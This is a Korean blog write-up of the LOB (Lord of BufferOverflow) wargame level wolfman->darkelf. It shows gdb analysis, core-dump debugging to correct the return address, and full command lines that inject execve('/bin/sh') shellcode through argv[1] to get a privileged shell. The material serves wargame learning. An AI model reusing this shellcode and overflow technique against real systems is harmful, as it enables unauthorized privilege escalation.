LOB_6.wolfman->darkelf
해킹/LOB 2016. 1. 21. 18:32
지난번 orc->wolfman에서 argv[1]의 길이를 체크하는 부분이 더 생겼다.
이제 리턴의 뒷부분을 사용하는 방법으로는 문제를 해결할 수 없다.
또 어디에 입력값이 들어가있을까 생각하다가 argv를 사용하기로 했다.
먼저 tmp에 darkelf파일을 복사한 뒤 gdb로 열었다.
먼저 argv부분의 주소를 알기 위해 gdb로 실행시켜봤다.
strcpy를 호출하기 전 push edx, push eax로 인자를 전달하는데 순서상 먼저 스텍에 push 해주는 edx가 strcpy(buffer, argv[1])에서 뒤에 쓰여있는 argv[1]을 가르킬 것이다.
strcpy를 호출하기 직전까지 프로그램을 실행시키기 위해 main+237에 bp를 걸어줬다.
그다음 실행을 시켜줘야하는데 여러 체크루틴에 걸리지 않게 argv도 넣어주고 리턴 마지막 바이트에 \xbf도 넣어줘서
r `python -c 'print "a"*47+"\xbf"'` 이런식으로 실행해줘야 한다.
어쨋든 실행을 시켜서 edx를 확인해보니 0xbffffc09이다.
해당부분을 열어서 실제로 a로 가득찬 부분이 있는것을 확인했다.
이제 저 a대신 쉘코드를 넣어주고 리턴주소를 0xbffffc09로 넣어줘서 해당주소로 점프시키면 될것이다.
argv[1]로 41바이트짜리 쉘코드와 주소 4바이트를 더하면 45바이트다. buffer가 ebp-40에 위치하므로 총길이 리턴주소까지 48바이트를 덮어쓰게 되는데 그러면 3바이트정도 여유가 있다.
따라서 앞의 3바이트를 nop으로 채워넣고 쉘코드+리턴주소로 페이로드를 작성했다.
./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x09\xfc\xff\xbf"'`
segmentation fault가 뜨며 실패했다.
이렇게 되는 이유는 실제 공격당하는 프로그램인 darkelf의 argv[1]과는 주소에 약간의 차이가 있기 때문이다.
gdb에서 실행하느냐 bash에서 실행하느냐에 따라서 조금씩 다르다.
프로그램 이름이나 경로에 따라서도 주소가 조금씩 차이가 났던것 같은데 정확히는 모르겠다.
우선 tmp에 복사해놓은 파일로 테스트해서 core dump가 생성되었으니 그걸로 분석을 해봤다.
gdb darkelf core 이런식으로 두번째 argv로 core파일명을 적어주면 프로그램이 종료된 시점에서의 메모리를 확인할 수 있다.
아까 리턴으로 점프시킨 0xbffffc09부분을 살펴봤더니 주소상의 차이때문에 4바이트 뒤로 밀린 0xbffffc0d부분부터 0x90이 시작되는 것을 확인했다.
이 주소로 리턴주소를 변경해서 페이로드를 다시 짰다.
./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x0d\xfc\xff\xbf"'`
위 페이로드로 실행시킨 결과 tmp가 아닌 darkelf 원본에서도 똑같이 공격이 성공했다. (주소 차이가 경로랑은 상관이 없는듯..?)
끝-
ps. darkelf파일의 이름을 darkel로 한바이트 줄여봤더니 쉘코드의 주소가 2바이트 밀리는 것을 확인했다. 파일명과는 확실히 상관이 있는듯.
'해킹 > LOB' 카테고리의 다른 글
LOB_8.orge->troll (0) | 2016.01.22 |
---|---|
LOB_7.darkelf->orge (0) | 2016.01.21 |
LOB_5.orc->wolfman (0) | 2016.01.21 |
LOB_4.goblin->orc (0) | 2016.01.21 |
LOB_3.cobolt->goblin (0) | 2016.01.21 |